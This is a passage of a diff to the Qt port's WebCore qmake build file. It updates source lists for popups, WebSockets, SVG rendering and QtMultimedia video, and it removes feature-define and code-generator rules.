+    platform/qt/PlatformTouchEventQt.cpp \
+    platform/qt/PlatformTouchPointQt.cpp \
     platform/qt/PopupMenuQt.cpp \
-    platform/qt/QWebPopup.cpp \
+    platform/qt/QtAbstractWebPopup.cpp \
     platform/qt/RenderThemeQt.cpp \
     platform/qt/ScrollbarQt.cpp \
     platform/qt/ScrollbarThemeQt.cpp \
@@ -2421,12 +2083,13 @@ SOURCES += \
     platform/qt/LoggingQt.cpp \
     platform/text/qt/StringQt.cpp \
     platform/qt/TemporaryLinkStubs.cpp \
-    platform/text/qt/TextBoundaries.cpp \
+    platform/text/qt/TextBoundariesQt.cpp \
     platform/text/qt/TextBreakIteratorQt.cpp \
     platform/text/qt/TextCodecQt.cpp \
     platform/qt/WheelEventQt.cpp \
     platform/qt/WidgetQt.cpp \
     plugins/qt/PluginDataQt.cpp \
+    ../WebKit/qt/WebCoreSupport/QtFallbackWebPopup.cpp \
     ../WebKit/qt/WebCoreSupport/ChromeClientQt.cpp \
     ../WebKit/qt/WebCoreSupport/ContextMenuClientQt.cpp \
     ../WebKit/qt/WebCoreSupport/DragClientQt.cpp \
@@ -2449,37 +2112,34 @@ SOURCES += \
     ../WebKit/qt/Api/qwebinspector.cpp \
     ../WebKit/qt/Api/qwebkitversion.cpp
 
+maemo5 {
+    HEADERS += \
+        ../WebKit/qt/WebCoreSupport/QtMaemoWebPopup.h \
+        platform/qt/Maemo5Webstyle.h
+    SOURCES += \
+        ../WebKit/qt/WebCoreSupport/QtMaemoWebPopup.cpp \
+        platform/qt/Maemo5Webstyle.cpp
+}
+
 
-    win32-*|wince*: SOURCES += platform/win/SystemTimeWin.cpp
+    win32-*|wince*: SOURCES += platform/win/SystemTimeWin.cpp \
+                               platform/graphics/win/TransformationMatrixWin.cpp
 
     mac {
         SOURCES += \
             platform/text/cf/StringCF.cpp \
-            platform/text/cf/StringImplCF.cpp
+            platform/text/cf/StringImplCF.cpp \
+            platform/cf/SharedBufferCF.cpp \
+            editing/SmartReplaceCF.cpp
         LIBS_PRIVATE += -framework Carbon -framework AppKit
     }
 
     win32-* {
         LIBS += -lgdi32
         LIBS += -luser32
-        LIBS += -lwinmm
     }
     wince*: LIBS += -lmmtimer
 
-    # Files belonging to the Qt 4.3 build
-    lessThan(QT_MINOR_VERSION, 4) {
-        HEADERS += \
-            $$PWD/../WebKit/qt/Api/qwebnetworkinterface.h \
-            $$PWD/../WebKit/qt/Api/qwebnetworkinterface_p.h \
-            $$PWD/../WebKit/qt/Api/qcookiejar.h
-
-        SOURCES += \
-            ../WebKit/qt/Api/qwebnetworkinterface.cpp \
-            ../WebKit/qt/Api/qcookiejar.cpp
-
-        DEFINES += QT_BEGIN_NAMESPACE="" QT_END_NAMESPACE=""
-     }
-
 contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=1) {
 
     SOURCES += plugins/npapi.cpp
@@ -2511,7 +2171,10 @@ contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=1) {
                 INCLUDEPATH += platform/mac
                 # Note: XP_MACOSX is defined in npapi.h
             } else {
-                !embedded: CONFIG += x11
+                !embedded {
+                    CONFIG += x11
+                    LIBS += -lXrender
+                }
                 SOURCES += \
                     plugins/qt/PluginContainerQt.cpp \
                     plugins/qt/PluginPackageQt.cpp \
@@ -2526,12 +2189,12 @@ contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=1) {
             INCLUDEPATH += $$PWD/plugins/win \
                            $$PWD/platform/win
     
-            SOURCES += page/win/PageWin.cpp \
-                       plugins/win/PluginDatabaseWin.cpp \
+            SOURCES += plugins/win/PluginDatabaseWin.cpp \
                        plugins/win/PluginPackageWin.cpp \
                        plugins/win/PluginMessageThrottlerWin.cpp \
                        plugins/win/PluginViewWin.cpp \
-                       platform/win/BitmapInfo.cpp
+                       platform/win/BitmapInfo.cpp \
+                       platform/win/WebCoreInstanceHandle.cpp
     
             LIBS += \
                 -ladvapi32 \
@@ -2549,26 +2212,6 @@ contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=1) {
         plugins/PluginViewNone.cpp
 }
 
-contains(DEFINES, ENABLE_CHANNEL_MESSAGING=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_CHANNEL_MESSAGING=1
-}
-
-contains(DEFINES, ENABLE_ORIENTATION_EVENTS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_ORIENTATION_EVENTS=1
-}
-
-contains(DEFINES, ENABLE_DASHBOARD_SUPPORT=0) {
-    DASHBOARDSUPPORTCSSPROPERTIES -= $$PWD/css/DashboardSupportCSSPropertyNames.in
-}
-
-contains(DEFINES, ENABLE_DATAGRID=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_DATAGRID=1
-}
-
-contains(DEFINES, ENABLE_EVENTSOURCE=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_EVENTSOURCE=1
-}
-
 contains(DEFINES, ENABLE_SQLITE=1) {
     !system-sqlite:exists( $${SQLITE3SRCDIR}/sqlite3.c ) {
             # Build sqlite3 into WebCore from source
@@ -2602,8 +2245,6 @@ contains(DEFINES, ENABLE_SQLITE=1) {
 
 
 contains(DEFINES, ENABLE_DATABASE=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_DATABASE=1
-
     SOURCES += \
         storage/ChangeVersionWrapper.cpp \
         storage/DatabaseTask.cpp \
@@ -2621,18 +2262,18 @@ contains(DEFINES, ENABLE_DATABASE=1) {
         bindings/js/JSCustomSQLStatementErrorCallback.cpp \
         bindings/js/JSCustomSQLTransactionCallback.cpp \
         bindings/js/JSCustomSQLTransactionErrorCallback.cpp \
+        bindings/js/JSDatabaseCallback.cpp \
         bindings/js/JSDatabaseCustom.cpp \
         bindings/js/JSSQLResultSetRowListCustom.cpp \
         bindings/js/JSSQLTransactionCustom.cpp
 }
 
 contains(DEFINES, ENABLE_DOM_STORAGE=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_DOM_STORAGE=1
-
     HEADERS += \
         storage/ChangeVersionWrapper.h \
         storage/DatabaseAuthorizer.h \
         storage/Database.h \
+        storage/DatabaseCallback.h \
         storage/DatabaseTask.h \
         storage/DatabaseThread.h \
         storage/DatabaseTracker.h \
@@ -2683,8 +2324,6 @@ contains(DEFINES, ENABLE_ICONDATABASE=1) {
 }
 
 contains(DEFINES, ENABLE_WORKERS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_WORKERS=1
-
     SOURCES += \
         bindings/js/JSAbstractWorkerCustom.cpp \
         bindings/js/JSDedicatedWorkerContextCustom.cpp \
@@ -2708,8 +2347,6 @@ contains(DEFINES, ENABLE_WORKERS=1) {
 }
 
 contains(DEFINES, ENABLE_SHARED_WORKERS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_SHARED_WORKERS=1
-
     SOURCES += \
         bindings/js/JSSharedWorkerConstructor.cpp \
         bindings/js/JSSharedWorkerCustom.cpp \
@@ -2720,8 +2357,6 @@ contains(DEFINES, ENABLE_SHARED_WORKERS=1) {
 }
 
 contains(DEFINES, ENABLE_VIDEO=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_VIDEO=1
-
     SOURCES += \
         html/HTMLAudioElement.cpp \
         html/HTMLMediaElement.cpp \
@@ -2734,30 +2369,34 @@ contains(DEFINES, ENABLE_VIDEO=1) {
         rendering/RenderMedia.cpp \
         bindings/js/JSAudioConstructor.cpp
 
-        HEADERS += \
-            platform/graphics/qt/MediaPlayerPrivatePhonon.h
+        # QtMultimedia since 4.7
+        greaterThan(QT_MINOR_VERSION, 6) {
+            HEADERS += platform/graphics/qt/MediaPlayerPrivateQt.h
+            SOURCES += platform/graphics/qt/MediaPlayerPrivateQt.cpp
 
-        SOURCES += \
-            platform/graphics/qt/MediaPlayerPrivatePhonon.cpp
-
-        # Add phonon manually to prevent it from coming first in
-        # the include paths, as Phonon's path.h conflicts with
-        # WebCore's Path.h on case-insensitive filesystems.
-        qtAddLibrary(phonon)
-        INCLUDEPATH -= $$QMAKE_INCDIR_QT/phonon
-        INCLUDEPATH += $$QMAKE_INCDIR_QT/phonon
-        mac {
-            INCLUDEPATH -= $$QMAKE_LIBDIR_QT/phonon.framework/Headers
-            INCLUDEPATH += $$QMAKE_LIBDIR_QT/phonon.framework/Headers
+            tobe|!tobe: QT += multimedia
+        } else {
+            HEADERS += \
+                platform/graphics/qt/MediaPlayerPrivatePhonon.h
+
+            SOURCES += \
+                platform/graphics/qt/MediaPlayerPrivatePhonon.cpp
+
+            # Add phonon manually to prevent it from coming first in
+            # the include paths, as Phonon's path.h conflicts with
+            # WebCore's Path.h on case-insensitive filesystems.
+            qtAddLibrary(phonon)
+            INCLUDEPATH -= $$QMAKE_INCDIR_QT/phonon
+            INCLUDEPATH += $$QMAKE_INCDIR_QT/phonon
+            mac {
+                INCLUDEPATH -= $$QMAKE_LIBDIR_QT/phonon.framework/Headers
+                INCLUDEPATH += $$QMAKE_LIBDIR_QT/phonon.framework/Headers
+            }
         }
 
 }
 
 contains(DEFINES, ENABLE_XPATH=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_XPATH=1
-
-    XPATHBISON = $$PWD/xml/XPathGrammar.y
-
     SOURCES += \
         xml/NativeXPathNSResolver.cpp \
         xml/XPathEvaluator.cpp \
@@ -2780,8 +2419,6 @@ contains(DEFINES, ENABLE_XPATH=1) {
 unix:!mac:CONFIG += link_pkgconfig
 
 contains(DEFINES, ENABLE_XSLT=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_XSLT=1
-
     tobe|!tobe: QT += xmlpatterns
 
     SOURCES += \
@@ -2793,10 +2430,6 @@ contains(DEFINES, ENABLE_XSLT=1) {
         xml/XSLTProcessorQt.cpp
 }
 
-contains(DEFINES, ENABLE_XBL=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_XBL=1
-}
-
 contains(DEFINES, ENABLE_FILTERS=1) {
     SOURCES += \
         platform/graphics/filters/FEBlend.cpp \
@@ -2807,16 +2440,6 @@ contains(DEFINES, ENABLE_FILTERS=1) {
         platform/graphics/filters/FilterEffect.cpp \
         platform/graphics/filters/SourceAlpha.cpp \
         platform/graphics/filters/SourceGraphic.cpp
-
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_FILTERS=1
-}
-
-contains(DEFINES, ENABLE_WCSS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_WCSS=1
-    contains(DEFINES, ENABLE_XHTMLMP=0) {
-        DEFINES -= ENABLE_XHTMLMP=0
-        DEFINES += ENABLE_XHTMLMP=1
-    }
 }
 
 contains(DEFINES, ENABLE_WML=1) {
@@ -2857,29 +2480,11 @@ contains(DEFINES, ENABLE_WML=1) {
         wml/WMLTemplateElement.cpp \
         wml/WMLTimerElement.cpp \
         wml/WMLVariables.cpp
-
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_WML=1
-
-    WML_NAMES = $$PWD/wml/WMLTagNames.in
-
-    wmlnames_a.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}WMLNames.cpp
-    wmlnames_a.commands = perl -I$$PWD/bindings/scripts $$PWD/dom/make_names.pl --tags $$PWD/wml/WMLTagNames.in --attrs $$PWD/wml/WMLAttributeNames.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\" --factory --wrapperFactory --outputDir $$GENERATED_SOURCES_DIR
-    wmlnames_a.input = WML_NAMES
-    wmlnames_a.dependency_type = TYPE_C
-    wmlnames_a.CONFIG = target_predeps
-    wmlnames_a.variable_out = GENERATED_SOURCES
-    addExtraCompilerWithHeader(wmlnames_a)
-    wmlnames_b.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}WMLElementFactory.cpp
-    wmlnames_b.commands = @echo -n ''
-    wmlnames_b.input = SVG_NAMES
-    wmlnames_b.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}WMLNames.cpp
-    wmlnames_b.CONFIG = target_predeps
-    wmlnames_b.variable_out = GENERATED_SOURCES
-    addExtraCompilerWithHeader(wmlnames_b)
 }
 
 contains(DEFINES, ENABLE_XHTMLMP=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_XHTMLMP=1
+    SOURCES += \
+        html/HTMLNoScriptElement.cpp
 }
 
 contains(DEFINES, ENABLE_QT_BEARER=1) {
@@ -2894,12 +2499,6 @@ contains(DEFINES, ENABLE_QT_BEARER=1) {
 }
 
 contains(DEFINES, ENABLE_SVG=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_SVG=1
-
-    SVG_NAMES = $$PWD/svg/svgtags.in
-
-    XLINK_NAMES = $$PWD/svg/xlinkattrs.in
-
     SOURCES += \
 # TODO: this-one-is-not-auto-added! FIXME! tmp/SVGElementFactory.cpp \
         bindings/js/JSSVGElementInstanceCustom.cpp \
@@ -2907,8 +2506,6 @@ contains(DEFINES, ENABLE_SVG=1) {
         bindings/js/JSSVGMatrixCustom.cpp \
         bindings/js/JSSVGPathSegCustom.cpp \
         bindings/js/JSSVGPathSegListCustom.cpp \
-        bindings/js/JSSVGPointListCustom.cpp \
-        bindings/js/JSSVGTransformListCustom.cpp \
         css/SVGCSSComputedStyleDeclaration.cpp \
         css/SVGCSSParser.cpp \
         css/SVGCSSStyleSelector.cpp \
@@ -3046,7 +2643,6 @@ contains(DEFINES, ENABLE_SVG=1) {
         svg/SVGViewElement.cpp \
         svg/SVGViewSpec.cpp \
         svg/SVGZoomAndPan.cpp \
-        svg/SynchronizablePropertyController.cpp \
         svg/animation/SMILTime.cpp \
         svg/animation/SMILTimeContainer.cpp \
         svg/animation/SVGSMILElement.cpp \
@@ -3071,11 +2667,9 @@ contains(DEFINES, ENABLE_SVG=1) {
         svg/graphics/SVGPaintServerPattern.cpp \
         svg/graphics/SVGPaintServerRadialGradient.cpp \
         svg/graphics/SVGPaintServerSolid.cpp \
-        svg/graphics/SVGResourceClipper.cpp \
         svg/graphics/SVGResource.cpp \
         svg/graphics/SVGResourceFilter.cpp \
         svg/graphics/SVGResourceMarker.cpp \
-        svg/graphics/SVGResourceMasker.cpp \
         rendering/RenderForeignObject.cpp \
         rendering/RenderPath.cpp \
         rendering/RenderSVGBlock.cpp \
@@ -3086,7 +2680,10 @@ contains(DEFINES, ENABLE_SVG=1) {
         rendering/RenderSVGInline.cpp \
         rendering/RenderSVGInlineText.cpp \
         rendering/RenderSVGModelObject.cpp \
+        rendering/RenderSVGResourceClipper.cpp \
+        rendering/RenderSVGResourceMasker.cpp \
         rendering/RenderSVGRoot.cpp \
+        rendering/RenderSVGShadowTreeRootContainer.cpp \
         rendering/RenderSVGText.cpp \
         rendering/RenderSVGTextPath.cpp \
         rendering/RenderSVGTransformableContainer.cpp \
@@ -3095,83 +2692,19 @@ contains(DEFINES, ENABLE_SVG=1) {
         rendering/SVGCharacterLayoutInfo.cpp \
         rendering/SVGInlineFlowBox.cpp \
         rendering/SVGInlineTextBox.cpp \
+        rendering/SVGMarkerLayoutInfo.cpp \
         rendering/SVGRenderSupport.cpp \
-        rendering/SVGRootInlineBox.cpp
-
-
-        # GENERATOR 5-C:
-        svgnames_a.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}SVGNames.cpp
-        svgnames_a.commands = perl -I$$PWD/bindings/scripts $$PWD/dom/make_names.pl --tags $$PWD/svg/svgtags.in --attrs $$PWD/svg/svgattrs.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\" --factory --wrapperFactory --outputDir $$GENERATED_SOURCES_DIR
-        svgnames_a.input = SVG_NAMES
-        svgnames_a.dependency_type = TYPE_C
-        svgnames_a.CONFIG = target_predeps
-        svgnames_a.variable_out = GENERATED_SOURCES
-        addExtraCompilerWithHeader(svgnames_a)
-        svgnames_b.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}SVGElementFactory.cpp
-        svgnames_b.commands = @echo -n ''
-        svgnames_b.input = SVG_NAMES
-        svgnames_b.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}SVGNames.cpp
-        svgnames_b.CONFIG = target_predeps
-        svgnames_b.variable_out = GENERATED_SOURCES
-        addExtraCompilerWithHeader(svgnames_b)
-        svgelementwrapper.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}JSSVGElementWrapperFactory.cpp
-        svgelementwrapper.commands = @echo -n ''
-        svgelementwrapper.input = SVG_NAMES
-        svgelementwrapper.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}SVGNames.cpp
-        svgelementwrapper.CONFIG = target_predeps
-        svgelementwrapper.variable_out = GENERATED_SOURCES
-        addExtraCompiler(svgelementwrapper)
-        svgelementwrapper_header.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}JSSVGElementWrapperFactory.h
-        svgelementwrapper_header.commands = @echo -n ''
-        svgelementwrapper_header.input = SVG_NAMES
-        svgelementwrapper_header.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}SVGNames.cpp
-        svgelementwrapper_header.CONFIG = target_predeps
-        svgelementwrapper_header.variable_out = GENERATED_FILES
-        addExtraCompiler(svgelementwrapper_header)
-
-        # GENERATOR 5-D:
-        xlinknames.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}XLinkNames.cpp
-        xlinknames.commands = perl -I$$PWD/bindings/scripts $$PWD/dom/make_names.pl --attrs $$PWD/svg/xlinkattrs.in --preprocessor \"$${QMAKE_MOC} -E\" --outputDir $$GENERATED_SOURCES_DIR
-        xlinknames.input = XLINK_NAMES
-        xlinknames.dependency_type = TYPE_C
-        xlinknames.CONFIG = target_predeps
-        xlinknames.variable_out = GENERATED_SOURCES
-        addExtraCompilerWithHeader(xlinknames)
-
-} 
-# GENERATOR 6-A:
-cssprops.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-cssprops.input = WALDOCSSPROPS
-cssprops.commands = perl -ne \"print lc\" ${QMAKE_FILE_NAME} $$DASHBOARDSUPPORTCSSPROPERTIES $$EXTRACSSPROPERTIES > $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.in && cd $$GENERATED_SOURCES_DIR && perl $$PWD/css/makeprop.pl && $(DEL_FILE) ${QMAKE_FILE_BASE}.strip ${QMAKE_FILE_BASE}.in ${QMAKE_FILE_BASE}.gperf
-cssprops.CONFIG = target_predeps no_link
-cssprops.variable_out =
-cssprops.depend = ${QMAKE_FILE_NAME} DASHBOARDSUPPORTCSSPROPERTIES EXTRACSSPROPERTIES
-addExtraCompilerWithHeader(cssprops)
-
-# GENERATOR 6-B:
-cssvalues.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.c
-cssvalues.input = WALDOCSSVALUES
-cssvalues.commands = perl -ne \"print lc\" ${QMAKE_FILE_NAME} $$EXTRACSSVALUES > $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.in && cd $$GENERATED_SOURCES_DIR && perl $$PWD/css/makevalues.pl && $(DEL_FILE) ${QMAKE_FILE_BASE}.in ${QMAKE_FILE_BASE}.strip ${QMAKE_FILE_BASE}.gperf
-cssvalues.CONFIG = target_predeps no_link
-cssvalues.variable_out =
-cssvalues.depend = ${QMAKE_FILE_NAME} EXTRACSSVALUES
-cssvalues.clean = ${QMAKE_FILE_OUT} ${QMAKE_VAR_GENERATED_SOURCES_DIR_SLASH}${QMAKE_FILE_BASE}.h
-addExtraCompiler(cssvalues)
+        rendering/SVGRootInlineBox.cpp \
+        rendering/SVGShadowTreeElements.cpp
+}
 
 contains(DEFINES, ENABLE_JAVASCRIPT_DEBUGGER=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_JAVASCRIPT_DEBUGGER=1
-
     SOURCES += \
         bindings/js/JSJavaScriptCallFrameCustom.cpp \
         inspector/JavaScriptCallFrame.cpp \
-        inspector/JavaScriptDebugServer.cpp \
-        inspector/JavaScriptProfile.cpp \
-        inspector/JavaScriptProfileNode.cpp
 }
 
 contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_OFFLINE_WEB_APPLICATIONS=1
-
 SOURCES += \
     loader/appcache/ApplicationCache.cpp \
     loader/appcache/ApplicationCacheGroup.cpp \
@@ -3184,179 +2717,158 @@ SOURCES += \
 }
 
 contains(DEFINES, ENABLE_WEB_SOCKETS=1) {
-    FEATURE_DEFINES_JAVASCRIPT += ENABLE_WEB_SOCKETS=1
+    HEADERS += \
+        websockets/ThreadableWebSocketChannel.h \
+        websockets/ThreadableWebSocketChannelClientWrapper.h \
+        websockets/WebSocket.h \
+        websockets/WebSocketChannel.h \
+        websockets/WebSocketChannelClient.h \
+        websockets/WebSocketHandshake.h \
+        websockets/WebSocketHandshakeRequest.h \
+        platform/network/qt/SocketStreamHandlePrivate.h
 
-SOURCES += \
-    websockets/WebSocket.cpp \
-    websockets/WebSocketChannel.cpp \
-    websockets/WebSocketHandshake.cpp \
-    platform/network/SocketStreamErrorBase.cpp \
-    platform/network/SocketStreamHandleBase.cpp \
-    platform/network/qt/SocketStreamHandleSoup.cpp \
-    bindings/js/JSWebSocketCustom.cpp \
-    bindings/js/JSWebSocketConstructor.cpp
+    SOURCES += \
+        websockets/WebSocket.cpp \
+        websockets/WebSocketChannel.cpp \
+        websockets/WebSocketHandshake.cpp \
+        websockets/WebSocketHandshakeRequest.cpp \
+        websockets/ThreadableWebSocketChannel.cpp \
+        platform/network/SocketStreamErrorBase.cpp \
+        platform/network/SocketStreamHandleBase.cpp \
+        platform/network/qt/SocketStreamHandleQt.cpp \
+        bindings/js/JSWebSocketCustom.cpp \
+        bindings/js/JSWebSocketConstructor.cpp
+
+    contains(DEFINES, ENABLE_WORKERS=1) {
+        HEADERS += \
+            websockets/WorkerThreadableWebSocketChannel.h
+
+        SOURCES += \
+            websockets/WorkerThreadableWebSocketChannel.cpp
+    }
 }
 
-# GENERATOR 1: IDL compiler
-idl.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}JS${QMAKE_FILE_BASE}.cpp
-idl.variable_out = GENERATED_SOURCES
-idl.input = IDL_BINDINGS
-idl.commands = perl -I$$PWD/bindings/scripts $$PWD/bindings/scripts/generate-bindings.pl --defines \"$${FEATURE_DEFINES_JAVASCRIPT}\" --generator JS --include $$PWD/dom --include $$PWD/html --include $$PWD/xml --include $$PWD/svg --outputDir $$GENERATED_SOURCES_DIR --preprocessor \"$${QMAKE_MOC} -E\" ${QMAKE_FILE_NAME}
-idl.depends = $$PWD/bindings/scripts/generate-bindings.pl \
-              $$PWD/bindings/scripts/CodeGenerator.pm \
-              $$PWD/bindings/scripts/CodeGeneratorJS.pm \
-              $$PWD/bindings/scripts/IDLParser.pm \
-              $$PWD/bindings/scripts/IDLStructure.pm \
-              $$PWD/bindings/scripts/InFilesParser.pm
-idl.CONFIG += target_predeps
-addExtraCompilerWithHeader(idl)
-
-# GENERATOR 2-A: LUT creator
-domlut.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.lut.h
-domlut.commands = perl $$PWD/../JavaScriptCore/create_hash_table ${QMAKE_FILE_NAME} -n WebCore > ${QMAKE_FILE_OUT}
-domlut.depend = ${QMAKE_FILE_NAME}
-domlut.input = DOMLUT_FILES
-domlut.CONFIG += no_link
-addExtraCompiler(domlut)
-
-# GENERATOR 3: tokenizer (flex)
-tokenizer.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-tokenizer.commands = flex -t < ${QMAKE_FILE_NAME} | perl $$PWD/css/maketokenizer > ${QMAKE_FILE_OUT}
-tokenizer.dependency_type = TYPE_C
-tokenizer.input = TOKENIZER
-tokenizer.CONFIG += target_predeps no_link
-tokenizer.variable_out =
-addExtraCompiler(tokenizer)
-
-# GENERATOR 4: CSS grammar
-cssbison.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-cssbison.commands = perl $$PWD/css/makegrammar.pl ${QMAKE_FILE_NAME} $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}
-cssbison.depend = ${QMAKE_FILE_NAME}
-cssbison.input = CSSBISON
-cssbison.CONFIG = target_predeps
-cssbison.dependency_type = TYPE_C
-cssbison.variable_out = GENERATED_SOURCES
-addExtraCompilerWithHeader(cssbison)
-
-# GENERATOR 5-A:
-htmlnames.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLNames.cpp
-htmlnames.commands = perl -I$$PWD/bindings/scripts $$PWD/dom/make_names.pl --tags $$PWD/html/HTMLTagNames.in --attrs $$PWD/html/HTMLAttributeNames.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\"  --factory --wrapperFactory --outputDir $$GENERATED_SOURCES_DIR
-htmlnames.input = HTML_NAMES
-htmlnames.dependency_type = TYPE_C
-htmlnames.CONFIG = target_predeps
-htmlnames.variable_out = GENERATED_SOURCES
-htmlnames.depends = $$PWD/html/HTMLAttributeNames.in
-addExtraCompilerWithHeader(htmlnames)
-
-htmlelementfactory.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLElementFactory.cpp
-htmlelementfactory.commands = @echo -n ''
-htmlelementfactory.input = HTML_NAMES
-htmlelementfactory.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLNames.cpp
-htmlelementfactory.CONFIG = target_predeps
-htmlelementfactory.variable_out = GENERATED_SOURCES
-htmlelementfactory.clean += ${QMAKE_FILE_OUT}
-addExtraCompilerWithHeader(htmlelementfactory)
-
-elementwrapperfactory.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}JSHTMLElementWrapperFactory.cpp
-elementwrapperfactory.commands = @echo -n ''
-elementwrapperfactory.input = HTML_NAMES
-elementwrapperfactory.depends = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLNames.cpp
-elementwrapperfactory.CONFIG = target_predeps
-elementwrapperfactory.variable_out = GENERATED_SOURCES
-elementwrapperfactory.clean += ${QMAKE_FILE_OUT}
-addExtraCompilerWithHeader(elementwrapperfactory)
-
-# GENERATOR 5-B:
-xmlnames.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}XMLNames.cpp
-xmlnames.commands = perl -I$$PWD/bindings/scripts $$PWD/dom/make_names.pl --attrs $$PWD/xml/xmlattrs.in --preprocessor \"$${QMAKE_MOC} -E\" --outputDir $$GENERATED_SOURCES_DIR
-xmlnames.input = XML_NAMES
-xmlnames.dependency_type = TYPE_C
-xmlnames.CONFIG = target_predeps
-xmlnames.variable_out = GENERATED_SOURCES
-addExtraCompilerWithHeader(xmlnames)
-
-# GENERATOR 8-A:
-entities.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLEntityNames.c
-entities.commands = gperf -a -L ANSI-C -C -G -c -o -t --includes --key-positions="*" -N findEntity -D -s 2 < $$PWD/html/HTMLEntityNames.gperf > $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}HTMLEntityNames.c
-entities.input = ENTITIES_GPERF
-entities.dependency_type = TYPE_C
-entities.CONFIG = target_predeps no_link
-entities.variable_out =
-entities.clean = ${QMAKE_FILE_OUT}
-addExtraCompiler(entities)
-
-# GENERATOR 8-B:
-doctypestrings.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp
-doctypestrings.input = DOCTYPESTRINGS
-doctypestrings.commands = gperf -CEot -L ANSI-C --includes --key-positions="*" -N findDoctypeEntry -F ,PubIDInfo::eAlmostStandards,PubIDInfo::eAlmostStandards < ${QMAKE_FILE_NAME} >> ${QMAKE_FILE_OUT}
-doctypestrings.dependency_type = TYPE_C
-doctypestrings.CONFIG += target_predeps no_link
-doctypestrings.variable_out =
-doctypestrings.clean = ${QMAKE_FILE_OUT}
-addExtraCompiler(doctypestrings)
-
-# GENERATOR 8-C:
-colordata.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}ColorData.c
-colordata.commands = gperf -CDEot -L ANSI-C --includes --key-positions="*" -N findColor -D -s 2 < ${QMAKE_FILE_NAME} >> ${QMAKE_FILE_OUT}
-colordata.input = COLORDAT_GPERF
-colordata.CONFIG = target_predeps no_link
-colordata.variable_out =
-addExtraCompiler(colordata)
-
-# GENERATOR 9:
-stylesheets.output = $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}UserAgentStyleSheetsData.cpp
-stylesheets.commands = perl $$PWD/css/make-css-file-arrays.pl --preprocessor \"$${QMAKE_MOC} -E\" ${QMAKE_VAR_GENERATED_SOURCES_DIR_SLASH}UserAgentStyleSheets.h ${QMAKE_FILE_OUT} $$STYLESHEETS_EMBED
-STYLESHEETS_EMBED_GENERATOR_SCRIPT = $$PWD/css/make-css-file-arrays.pl
-stylesheets.input = STYLESHEETS_EMBED_GENERATOR_SCRIPT
-stylesheets.depends = $$STYLESHEETS_EMBED
-stylesheets.CONFIG = target_predeps
-stylesheets.variable_out = GENERATED_SOURCES
-stylesheets.clean = ${QMAKE_FILE_OUT} ${QMAKE_VAR_GENERATED_SOURCES_DIR_SLASH}UserAgentStyleSheets.h
-addExtraCompilerWithHeader(stylesheets, $${GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}UserAgentStyleSheets.h)
-
